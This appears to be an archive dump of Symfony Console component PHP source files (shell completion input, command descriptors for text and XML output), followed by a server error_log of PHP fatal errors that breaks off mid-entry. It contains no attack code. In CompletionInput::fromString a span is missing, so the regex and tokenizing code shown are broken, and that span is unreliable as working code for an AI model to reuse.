@return $this */ public function suggestValues(array $values): static { foreach ($values as $value) { $this->suggestValue($value); } return $this; } /** * Add a suggestion for an input option name. * * @return $this */ public function suggestOption(InputOption $option): static { $this->optionSuggestions[] = $option; return $this; } /** * Add multiple suggestions for input option names at once. * * @param InputOption[] $options * * @return $this */ public function suggestOptions(array $options): static { foreach ($options as $option) { $this->suggestOption($option); } return $this; } /** * @return InputOption[] */ public function getOptionSuggestions(): array { return $this->optionSuggestions; } /** * @return Suggestion[] */ public function getValueSuggestions(): array { return $this->valueSuggestions; } } console/Completion/CompletionInput.php000064400000017655151113511770014201 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Input\ArgvInput; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; /** * An input specialized for shell completion. * * This input allows unfinished option names or values and exposes what kind of * completion is expected. * * @author Wouter de Jong */ final class CompletionInput extends ArgvInput { public const TYPE_ARGUMENT_VALUE = 'argument_value'; public const TYPE_OPTION_VALUE = 'option_value'; public const TYPE_OPTION_NAME = 'option_name'; public const TYPE_NONE = 'none'; private $tokens; private $currentIndex; private $completionType; private $completionName; private $completionValue = ''; /** * Converts a terminal string into tokens. * * This is required for shell completions without COMP_WORDS support. */ public static function fromString(string $inputStr, int $currentIndex): self { preg_match_all('/(?<=^|\s)([\'"]?)(.+?)(?tokens = $tokens; $input->currentIndex = $currentIndex; return $input; } public function bind(InputDefinition $definition): void { parent::bind($definition); $relevantToken = $this->getRelevantToken(); if ('-' === $relevantToken[0]) { // the current token is an input option: complete either option name or option value [$optionToken, $optionValue] = explode('=', $relevantToken, 2) + ['', '']; $option = $this->getOptionFromToken($optionToken); if (null === $option && !$this->isCursorFree()) { $this->completionType = self::TYPE_OPTION_NAME; $this->completionValue = $relevantToken; return; } if ($option?->acceptValue()) { $this->completionType = self::TYPE_OPTION_VALUE; $this->completionName = $option->getName(); $this->completionValue = $optionValue ?: (!str_starts_with($optionToken, '--') ? substr($optionToken, 2) : ''); return; } } $previousToken = $this->tokens[$this->currentIndex - 1]; if ('-' === $previousToken[0] && '' !== trim($previousToken, '-')) { // check if previous option accepted a value $previousOption = $this->getOptionFromToken($previousToken); if ($previousOption?->acceptValue()) { $this->completionType = self::TYPE_OPTION_VALUE; $this->completionName = $previousOption->getName(); $this->completionValue = $relevantToken; return; } } // complete argument value $this->completionType = self::TYPE_ARGUMENT_VALUE; foreach ($this->definition->getArguments() as $argumentName => $argument) { if (!isset($this->arguments[$argumentName])) { break; } $argumentValue = $this->arguments[$argumentName]; $this->completionName = $argumentName; if (\is_array($argumentValue)) { $this->completionValue = $argumentValue ? $argumentValue[array_key_last($argumentValue)] : null; } else { $this->completionValue = $argumentValue; } } if ($this->currentIndex >= \count($this->tokens)) { if (!isset($this->arguments[$argumentName]) || $this->definition->getArgument($argumentName)->isArray()) { $this->completionName = $argumentName; $this->completionValue = ''; } else { // we've reached the end $this->completionType = self::TYPE_NONE; $this->completionName = null; $this->completionValue = ''; } } } /** * Returns the type of completion required. * * TYPE_ARGUMENT_VALUE when completing the value of an input argument * TYPE_OPTION_VALUE when completing the value of an input option * TYPE_OPTION_NAME when completing the name of an input option * TYPE_NONE when nothing should be completed * * @return string One of self::TYPE_* constants. TYPE_OPTION_NAME and TYPE_NONE are already implemented by the Console component */ public function getCompletionType(): string { return $this->completionType; } /** * The name of the input option or argument when completing a value. * * @return string|null returns null when completing an option name */ public function getCompletionName(): ?string { return $this->completionName; } /** * The value already typed by the user (or empty string). */ public function getCompletionValue(): string { return $this->completionValue; } public function mustSuggestOptionValuesFor(string $optionName): bool { return self::TYPE_OPTION_VALUE === $this->getCompletionType() && $optionName === $this->getCompletionName(); } public function mustSuggestArgumentValuesFor(string $argumentName): bool { return self::TYPE_ARGUMENT_VALUE === $this->getCompletionType() && $argumentName === $this->getCompletionName(); } protected function parseToken(string $token, bool $parseOptions): bool { try { return parent::parseToken($token, $parseOptions); } catch (RuntimeException) { // suppress errors, completed input is almost never valid } return $parseOptions; } private function getOptionFromToken(string $optionToken): ?InputOption { $optionName = ltrim($optionToken, '-'); if (!$optionName) { return null; } if ('-' === ($optionToken[1] ?? ' ')) { // long option name return $this->definition->hasOption($optionName) ? $this->definition->getOption($optionName) : null; } // short option name return $this->definition->hasShortcut($optionName[0]) ? $this->definition->getOptionForShortcut($optionName[0]) : null; } /** * The token of the cursor, or the last token if the cursor is at the end of the input. */ private function getRelevantToken(): string { return $this->tokens[$this->isCursorFree() ? $this->currentIndex - 1 : $this->currentIndex]; } /** * Whether the cursor is "free" (i.e. at the end of the input preceded by a space). */ private function isCursorFree(): bool { $nrOfTokens = \count($this->tokens); if ($this->currentIndex > $nrOfTokens) { throw new \LogicException('Current index is invalid, it must be the number of input tokens or one more.'); } return $this->currentIndex >= $nrOfTokens; } public function __toString() { $str = ''; foreach ($this->tokens as $i => $token) { $str .= $token; if ($this->currentIndex === $i) { $str .= '|'; } $str .= ' '; } if ($this->currentIndex > $i) { $str .= '|'; } return rtrim($str); } } console/Descriptor/ApplicationDescription.php000064400000007370151113511770015515 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Exception\CommandNotFoundException; /** * @author Jean-François Simon * * @internal */ class ApplicationDescription { public const GLOBAL_NAMESPACE = '_global'; private Application $application; private ?string $namespace; private bool $showHidden; private array $namespaces; /** * @var array */ private array $commands; /** * @var array */ private array $aliases = []; public function __construct(Application $application, string $namespace = null, bool $showHidden = false) { $this->application = $application; $this->namespace = $namespace; $this->showHidden = $showHidden; } public function getNamespaces(): array { if (!isset($this->namespaces)) { $this->inspectApplication(); } return $this->namespaces; } /** * @return Command[] */ public function getCommands(): array { if (!isset($this->commands)) { $this->inspectApplication(); } return $this->commands; } /** * @throws CommandNotFoundException */ public function getCommand(string $name): Command { if (!isset($this->commands[$name]) && !isset($this->aliases[$name])) { throw new CommandNotFoundException(sprintf('Command "%s" does not exist.', $name)); } return $this->commands[$name] ?? $this->aliases[$name]; } private function inspectApplication(): void { $this->commands = []; $this->namespaces = []; $all = $this->application->all($this->namespace ? $this->application->findNamespace($this->namespace) : null); foreach ($this->sortCommands($all) as $namespace => $commands) { $names = []; /** @var Command $command */ foreach ($commands as $name => $command) { if (!$command->getName() || (!$this->showHidden && $command->isHidden())) { continue; } if ($command->getName() === $name) { $this->commands[$name] = $command; } else { $this->aliases[$name] = $command; } $names[] = $name; } $this->namespaces[$namespace] = ['id' => $namespace, 'commands' => $names]; } } private function sortCommands(array $commands): array { $namespacedCommands = []; $globalCommands = []; $sortedCommands = []; foreach ($commands as $name => $command) { $key = $this->application->extractNamespace($name, 1); if (\in_array($key, ['', self::GLOBAL_NAMESPACE], true)) { $globalCommands[$name] = $command; } else { $namespacedCommands[$key][$name] = $command; } } if ($globalCommands) { ksort($globalCommands); $sortedCommands[self::GLOBAL_NAMESPACE] = $globalCommands; } if ($namespacedCommands) { ksort($namespacedCommands, \SORT_STRING); foreach ($namespacedCommands as $key => $commandsSet) { ksort($commandsSet); $sortedCommands[$key] = $commandsSet; } } return $sortedCommands; } } console/Descriptor/DescriptorInterface.php000064400000001121151113511770014771 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Output\OutputInterface; /** * Descriptor interface. * * @author Jean-François Simon */ interface DescriptorInterface { /** * @return void */ public function describe(OutputInterface $output, object $object, array $options = []); } console/Descriptor/Descriptor.php000064400000005137151113511770013163 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * @author Jean-François Simon * * @internal */ abstract class Descriptor implements DescriptorInterface { protected OutputInterface $output; public function describe(OutputInterface $output, object $object, array $options = []): void { $this->output = $output; match (true) { $object instanceof InputArgument => $this->describeInputArgument($object, $options), $object instanceof InputOption => $this->describeInputOption($object, $options), $object instanceof InputDefinition => $this->describeInputDefinition($object, $options), $object instanceof Command => $this->describeCommand($object, $options), $object instanceof Application => $this->describeApplication($object, $options), default => throw new InvalidArgumentException(sprintf('Object of type "%s" is not describable.', get_debug_type($object))), }; } protected function write(string $content, bool $decorated = false): void { $this->output->write($content, false, $decorated ? OutputInterface::OUTPUT_NORMAL : OutputInterface::OUTPUT_RAW); } /** * Describes an InputArgument instance. */ abstract protected function describeInputArgument(InputArgument $argument, array $options = []): void; /** * Describes an InputOption instance. */ abstract protected function describeInputOption(InputOption $option, array $options = []): void; /** * Describes an InputDefinition instance. */ abstract protected function describeInputDefinition(InputDefinition $definition, array $options = []): void; /** * Describes a Command instance. */ abstract protected function describeCommand(Command $command, array $options = []): void; /** * Describes an Application instance. */ abstract protected function describeApplication(Application $application, array $options = []): void; } console/Descriptor/XmlDescriptor.php000064400000023057151113511770013645 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; /** * XML descriptor. * * @author Jean-François Simon * * @internal */ class XmlDescriptor extends Descriptor { public function getInputDefinitionDocument(InputDefinition $definition): \DOMDocument { $dom = new \DOMDocument('1.0', 'UTF-8'); $dom->appendChild($definitionXML = $dom->createElement('definition')); $definitionXML->appendChild($argumentsXML = $dom->createElement('arguments')); foreach ($definition->getArguments() as $argument) { $this->appendDocument($argumentsXML, $this->getInputArgumentDocument($argument)); } $definitionXML->appendChild($optionsXML = $dom->createElement('options')); foreach ($definition->getOptions() as $option) { $this->appendDocument($optionsXML, $this->getInputOptionDocument($option)); } return $dom; } public function getCommandDocument(Command $command, bool $short = false): \DOMDocument { $dom = new \DOMDocument('1.0', 'UTF-8'); $dom->appendChild($commandXML = $dom->createElement('command')); $commandXML->setAttribute('id', $command->getName()); $commandXML->setAttribute('name', $command->getName()); $commandXML->setAttribute('hidden', $command->isHidden() ? 1 : 0); $commandXML->appendChild($usagesXML = $dom->createElement('usages')); $commandXML->appendChild($descriptionXML = $dom->createElement('description')); $descriptionXML->appendChild($dom->createTextNode(str_replace("\n", "\n ", $command->getDescription()))); if ($short) { foreach ($command->getAliases() as $usage) { $usagesXML->appendChild($dom->createElement('usage', $usage)); } } else { $command->mergeApplicationDefinition(false); foreach (array_merge([$command->getSynopsis()], $command->getAliases(), $command->getUsages()) as $usage) { $usagesXML->appendChild($dom->createElement('usage', $usage)); } $commandXML->appendChild($helpXML = $dom->createElement('help')); $helpXML->appendChild($dom->createTextNode(str_replace("\n", "\n ", $command->getProcessedHelp()))); $definitionXML = $this->getInputDefinitionDocument($command->getDefinition()); $this->appendDocument($commandXML, $definitionXML->getElementsByTagName('definition')->item(0)); } return $dom; } public function getApplicationDocument(Application $application, string $namespace = null, bool $short = false): \DOMDocument { $dom = new \DOMDocument('1.0', 'UTF-8'); $dom->appendChild($rootXml = $dom->createElement('symfony')); if ('UNKNOWN' !== $application->getName()) { $rootXml->setAttribute('name', $application->getName()); if ('UNKNOWN' !== $application->getVersion()) { $rootXml->setAttribute('version', $application->getVersion()); } } $rootXml->appendChild($commandsXML = $dom->createElement('commands')); $description = new ApplicationDescription($application, $namespace, true); if ($namespace) { $commandsXML->setAttribute('namespace', $namespace); } foreach ($description->getCommands() as $command) { $this->appendDocument($commandsXML, $this->getCommandDocument($command, $short)); } if (!$namespace) { $rootXml->appendChild($namespacesXML = $dom->createElement('namespaces')); foreach ($description->getNamespaces() as $namespaceDescription) { $namespacesXML->appendChild($namespaceArrayXML = $dom->createElement('namespace')); $namespaceArrayXML->setAttribute('id', $namespaceDescription['id']); foreach ($namespaceDescription['commands'] as $name) { $namespaceArrayXML->appendChild($commandXML = $dom->createElement('command')); $commandXML->appendChild($dom->createTextNode($name)); } } } return $dom; } protected function describeInputArgument(InputArgument $argument, array $options = []): void { $this->writeDocument($this->getInputArgumentDocument($argument)); } protected function describeInputOption(InputOption $option, array $options = []): void { $this->writeDocument($this->getInputOptionDocument($option)); } protected function describeInputDefinition(InputDefinition $definition, array $options = []): void { $this->writeDocument($this->getInputDefinitionDocument($definition)); } protected function describeCommand(Command $command, array $options = []): void { $this->writeDocument($this->getCommandDocument($command, $options['short'] ?? false)); } protected function describeApplication(Application $application, array $options = []): void { $this->writeDocument($this->getApplicationDocument($application, $options['namespace'] ?? null, $options['short'] ?? false)); } /** * Appends document children to parent node. */ private function appendDocument(\DOMNode $parentNode, \DOMNode $importedParent): void { foreach ($importedParent->childNodes as $childNode) { $parentNode->appendChild($parentNode->ownerDocument->importNode($childNode, true)); } } /** * Writes DOM document. */ private function writeDocument(\DOMDocument $dom): void { $dom->formatOutput = true; $this->write($dom->saveXML()); } private function getInputArgumentDocument(InputArgument $argument): \DOMDocument { $dom = new \DOMDocument('1.0', 'UTF-8'); $dom->appendChild($objectXML = $dom->createElement('argument')); $objectXML->setAttribute('name', $argument->getName()); $objectXML->setAttribute('is_required', $argument->isRequired() ? 1 : 0); $objectXML->setAttribute('is_array', $argument->isArray() ? 1 : 0); $objectXML->appendChild($descriptionXML = $dom->createElement('description')); $descriptionXML->appendChild($dom->createTextNode($argument->getDescription())); $objectXML->appendChild($defaultsXML = $dom->createElement('defaults')); $defaults = \is_array($argument->getDefault()) ? $argument->getDefault() : (\is_bool($argument->getDefault()) ? [var_export($argument->getDefault(), true)] : ($argument->getDefault() ? [$argument->getDefault()] : [])); foreach ($defaults as $default) { $defaultsXML->appendChild($defaultXML = $dom->createElement('default')); $defaultXML->appendChild($dom->createTextNode($default)); } return $dom; } private function getInputOptionDocument(InputOption $option): \DOMDocument { $dom = new \DOMDocument('1.0', 'UTF-8'); $dom->appendChild($objectXML = $dom->createElement('option')); $objectXML->setAttribute('name', '--'.$option->getName()); $pos = strpos($option->getShortcut() ?? '', '|'); if (false !== $pos) { $objectXML->setAttribute('shortcut', '-'.substr($option->getShortcut(), 0, $pos)); $objectXML->setAttribute('shortcuts', '-'.str_replace('|', '|-', $option->getShortcut())); } else { $objectXML->setAttribute('shortcut', $option->getShortcut() ? '-'.$option->getShortcut() : ''); } $objectXML->setAttribute('accept_value', $option->acceptValue() ? 1 : 0); $objectXML->setAttribute('is_value_required', $option->isValueRequired() ? 1 : 0); $objectXML->setAttribute('is_multiple', $option->isArray() ? 1 : 0); $objectXML->appendChild($descriptionXML = $dom->createElement('description')); $descriptionXML->appendChild($dom->createTextNode($option->getDescription())); if ($option->acceptValue()) { $defaults = \is_array($option->getDefault()) ? $option->getDefault() : (\is_bool($option->getDefault()) ? [var_export($option->getDefault(), true)] : ($option->getDefault() ? [$option->getDefault()] : [])); $objectXML->appendChild($defaultsXML = $dom->createElement('defaults')); if (!empty($defaults)) { foreach ($defaults as $default) { $defaultsXML->appendChild($defaultXML = $dom->createElement('default')); $defaultXML->appendChild($dom->createTextNode($default)); } } } if ($option->isNegatable()) { $dom->appendChild($objectXML = $dom->createElement('option')); $objectXML->setAttribute('name', '--no-'.$option->getName()); $objectXML->setAttribute('shortcut', ''); $objectXML->setAttribute('accept_value', 0); $objectXML->setAttribute('is_value_required', 0); $objectXML->setAttribute('is_multiple', 0); $objectXML->appendChild($descriptionXML = $dom->createElement('description')); $descriptionXML->appendChild($dom->createTextNode('Negate the "--'.$option->getName().'" option')); } return $dom; } } console/Descriptor/TextDescriptor.php000064400000027766151113511770014044 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; /** * Text descriptor. * * @author Jean-François Simon * * @internal */ class TextDescriptor extends Descriptor { protected function describeInputArgument(InputArgument $argument, array $options = []): void { if (null !== $argument->getDefault() && (!\is_array($argument->getDefault()) || \count($argument->getDefault()))) { $default = sprintf(' [default: %s]', $this->formatDefaultValue($argument->getDefault())); } else { $default = ''; } $totalWidth = $options['total_width'] ?? Helper::width($argument->getName()); $spacingWidth = $totalWidth - \strlen($argument->getName()); $this->writeText(sprintf(' %s %s%s%s', $argument->getName(), str_repeat(' ', $spacingWidth), // + 4 = 2 spaces before , 2 spaces after preg_replace('/\s*[\r\n]\s*/', "\n".str_repeat(' ', $totalWidth + 4), $argument->getDescription()), $default ), $options); } protected function describeInputOption(InputOption $option, array $options = []): void { if ($option->acceptValue() && null !== $option->getDefault() && (!\is_array($option->getDefault()) || \count($option->getDefault()))) { $default = sprintf(' [default: %s]', $this->formatDefaultValue($option->getDefault())); } else { $default = ''; } $value = ''; if ($option->acceptValue()) { $value = '='.strtoupper($option->getName()); if ($option->isValueOptional()) { $value = '['.$value.']'; } } $totalWidth = $options['total_width'] ?? $this->calculateTotalWidthForOptions([$option]); $synopsis = sprintf('%s%s', $option->getShortcut() ? sprintf('-%s, ', $option->getShortcut()) : ' ', sprintf($option->isNegatable() ? '--%1$s|--no-%1$s' : '--%1$s%2$s', $option->getName(), $value) ); $spacingWidth = $totalWidth - Helper::width($synopsis); $this->writeText(sprintf(' %s %s%s%s%s', $synopsis, str_repeat(' ', $spacingWidth), // + 4 = 2 spaces before , 2 spaces after preg_replace('/\s*[\r\n]\s*/', "\n".str_repeat(' ', $totalWidth + 4), $option->getDescription()), $default, $option->isArray() ? ' (multiple values allowed)' : '' ), $options); } protected function describeInputDefinition(InputDefinition $definition, array $options = []): void { $totalWidth = $this->calculateTotalWidthForOptions($definition->getOptions()); foreach ($definition->getArguments() as $argument) { $totalWidth = max($totalWidth, Helper::width($argument->getName())); } if ($definition->getArguments()) { $this->writeText('Arguments:', $options); $this->writeText("\n"); foreach ($definition->getArguments() as $argument) { $this->describeInputArgument($argument, array_merge($options, ['total_width' => $totalWidth])); $this->writeText("\n"); } } if ($definition->getArguments() && $definition->getOptions()) { $this->writeText("\n"); } if ($definition->getOptions()) { $laterOptions = []; $this->writeText('Options:', $options); foreach ($definition->getOptions() as $option) { if (\strlen($option->getShortcut() ?? '') > 1) { $laterOptions[] = $option; continue; } $this->writeText("\n"); $this->describeInputOption($option, array_merge($options, ['total_width' => $totalWidth])); } foreach ($laterOptions as $option) { $this->writeText("\n"); $this->describeInputOption($option, array_merge($options, ['total_width' => $totalWidth])); } } } protected function describeCommand(Command $command, array $options = []): void { $command->mergeApplicationDefinition(false); if ($description = $command->getDescription()) { $this->writeText('Description:', $options); $this->writeText("\n"); $this->writeText(' '.$description); $this->writeText("\n\n"); } $this->writeText('Usage:', $options); foreach (array_merge([$command->getSynopsis(true)], $command->getAliases(), $command->getUsages()) as $usage) { $this->writeText("\n"); $this->writeText(' '.OutputFormatter::escape($usage), $options); } $this->writeText("\n"); $definition = $command->getDefinition(); if ($definition->getOptions() || $definition->getArguments()) { $this->writeText("\n"); $this->describeInputDefinition($definition, $options); $this->writeText("\n"); } $help = $command->getProcessedHelp(); if ($help && $help !== $description) { $this->writeText("\n"); $this->writeText('Help:', $options); $this->writeText("\n"); $this->writeText(' '.str_replace("\n", "\n ", $help), $options); $this->writeText("\n"); } } protected function describeApplication(Application $application, array $options = []): void { $describedNamespace = $options['namespace'] ?? null; $description = new ApplicationDescription($application, $describedNamespace); if (isset($options['raw_text']) && $options['raw_text']) { $width = $this->getColumnWidth($description->getCommands()); foreach ($description->getCommands() as $command) { $this->writeText(sprintf("%-{$width}s %s", $command->getName(), $command->getDescription()), $options); $this->writeText("\n"); } } else { if ('' != $help = $application->getHelp()) { $this->writeText("$help\n\n", $options); } $this->writeText("Usage:\n", $options); $this->writeText(" command [options] [arguments]\n\n", $options); $this->describeInputDefinition(new InputDefinition($application->getDefinition()->getOptions()), $options); $this->writeText("\n"); $this->writeText("\n"); $commands = $description->getCommands(); $namespaces = $description->getNamespaces(); if ($describedNamespace && $namespaces) { // make sure all alias commands are included when describing a specific namespace $describedNamespaceInfo = reset($namespaces); foreach ($describedNamespaceInfo['commands'] as $name) { $commands[$name] = $description->getCommand($name); } } // calculate max. width based on available commands per namespace $width = $this->getColumnWidth(array_merge(...array_values(array_map(fn ($namespace) => array_intersect($namespace['commands'], array_keys($commands)), array_values($namespaces))))); if ($describedNamespace) { $this->writeText(sprintf('Available commands for the "%s" namespace:', $describedNamespace), $options); } else { $this->writeText('Available commands:', $options); } foreach ($namespaces as $namespace) { $namespace['commands'] = array_filter($namespace['commands'], fn ($name) => isset($commands[$name])); if (!$namespace['commands']) { continue; } if (!$describedNamespace && ApplicationDescription::GLOBAL_NAMESPACE !== $namespace['id']) { $this->writeText("\n"); $this->writeText(' '.$namespace['id'].'', $options); } foreach ($namespace['commands'] as $name) { $this->writeText("\n"); $spacingWidth = $width - Helper::width($name); $command = $commands[$name]; $commandAliases = $name === $command->getName() ? $this->getCommandAliasesText($command) : ''; $this->writeText(sprintf(' %s%s%s', $name, str_repeat(' ', $spacingWidth), $commandAliases.$command->getDescription()), $options); } } $this->writeText("\n"); } } private function writeText(string $content, array $options = []): void { $this->write( isset($options['raw_text']) && $options['raw_text'] ? strip_tags($content) : $content, isset($options['raw_output']) ? !$options['raw_output'] : true ); } /** * Formats command aliases to show them in the command description. */ private function getCommandAliasesText(Command $command): string { $text = ''; $aliases = $command->getAliases(); if ($aliases) { $text = '['.implode('|', $aliases).'] '; } return $text; } /** * Formats input option/argument default value. */ private function formatDefaultValue(mixed $default): string { if (\INF === $default) { return 'INF'; } if (\is_string($default)) { $default = OutputFormatter::escape($default); } elseif (\is_array($default)) { foreach ($default as $key => $value) { if (\is_string($value)) { $default[$key] = OutputFormatter::escape($value); } } } return str_replace('\\\\', '\\', json_encode($default, \JSON_UNESCAPED_SLASHES | \JSON_UNESCAPED_UNICODE)); } /** * @param array $commands */ private function getColumnWidth(array $commands): int { $widths = []; foreach ($commands as $command) { if ($command instanceof Command) { $widths[] = Helper::width($command->getName()); foreach ($command->getAliases() as $alias) { $widths[] = Helper::width($alias); } } else { $widths[] = Helper::width($command); } } return $widths ? max($widths) + 2 : 0; } /** * @param InputOption[] $options */ private function calculateTotalWidthForOptions(array $options): int { $totalWidth = 0; foreach ($options as $option) { // "-" + shortcut + ", --" + name $nameLength = 1 + max(Helper::width($option->getShortcut()), 1) + 4 + Helper::width($option->getName()); if ($option->isNegatable()) { $nameLength += 6 + Helper::width($option->getName()); // |--no- + name } elseif ($option->acceptValue()) { $valueLength = 1 + Helper::width($option->getName()); // = + value $valueLength += $option->isValueOptional() ? 2 : 0; // [ + ] $nameLength += $valueLength; } $totalWidth = max($totalWidth, $nameLength); } return $totalWidth; } } console/Descriptor/error_log000064400000017416151113511770012254 0ustar00[20-Nov-2025 03:16:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/JsonDescriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/JsonDescriptor.php on line 27 [20-Nov-2025 03:21:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/XmlDescriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/XmlDescriptor.php on line 27 [20-Nov-2025 03:28:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/TextDescriptor.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/TextDescriptor.php on line 29 [20-Nov-2025 03:29:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Descriptor\DescriptorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/Descriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/Descriptor.php on line 27 [20-Nov-2025 03:33:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/ReStructuredTextDescriptor.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/ReStructuredTextDescriptor.php on line 23 [20-Nov-2025 03:33:47 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/MarkdownDescriptor.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/MarkdownDescriptor.php on line 29 [20-Nov-2025 08:03:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/TextDescriptor.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/TextDescriptor.php on line 29 [20-Nov-2025 08:11:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/XmlDescriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/XmlDescriptor.php on line 27 [20-Nov-2025 08:12:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/ReStructuredTextDescriptor.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/ReStructuredTextDescriptor.php on line 23 [20-Nov-2025 08:15:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Descriptor\DescriptorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/Descriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/Descriptor.php on line 27 [20-Nov-2025 08:19:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/MarkdownDescriptor.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/MarkdownDescriptor.php on line 29 [25-Nov-2025 02:57:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Descriptor\DescriptorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/Descriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/Descriptor.php on line 27 [25-Nov-2025 03:01:18 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/ReStructuredTextDescriptor.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/ReStructuredTextDescriptor.php on line 23 [25-Nov-2025 03:06:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/TextDescriptor.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/TextDescriptor.php on line 29 [25-Nov-2025 03:25:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/JsonDescriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/JsonDescriptor.php on line 27 [25-Nov-2025 03:31:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/MarkdownDescriptor.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/MarkdownDescriptor.php on line 29 [25-Nov-2025 04:30:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/XmlDescriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/XmlDescriptor.php on line 27 [25-Nov-2025 23:09:49 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/ReStructuredTextDescriptor.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/ReStructuredTextDescriptor.php on line 23 [26-Nov-2025 01:23:06 UTC] PHP Fatal error: Uncaught Error: 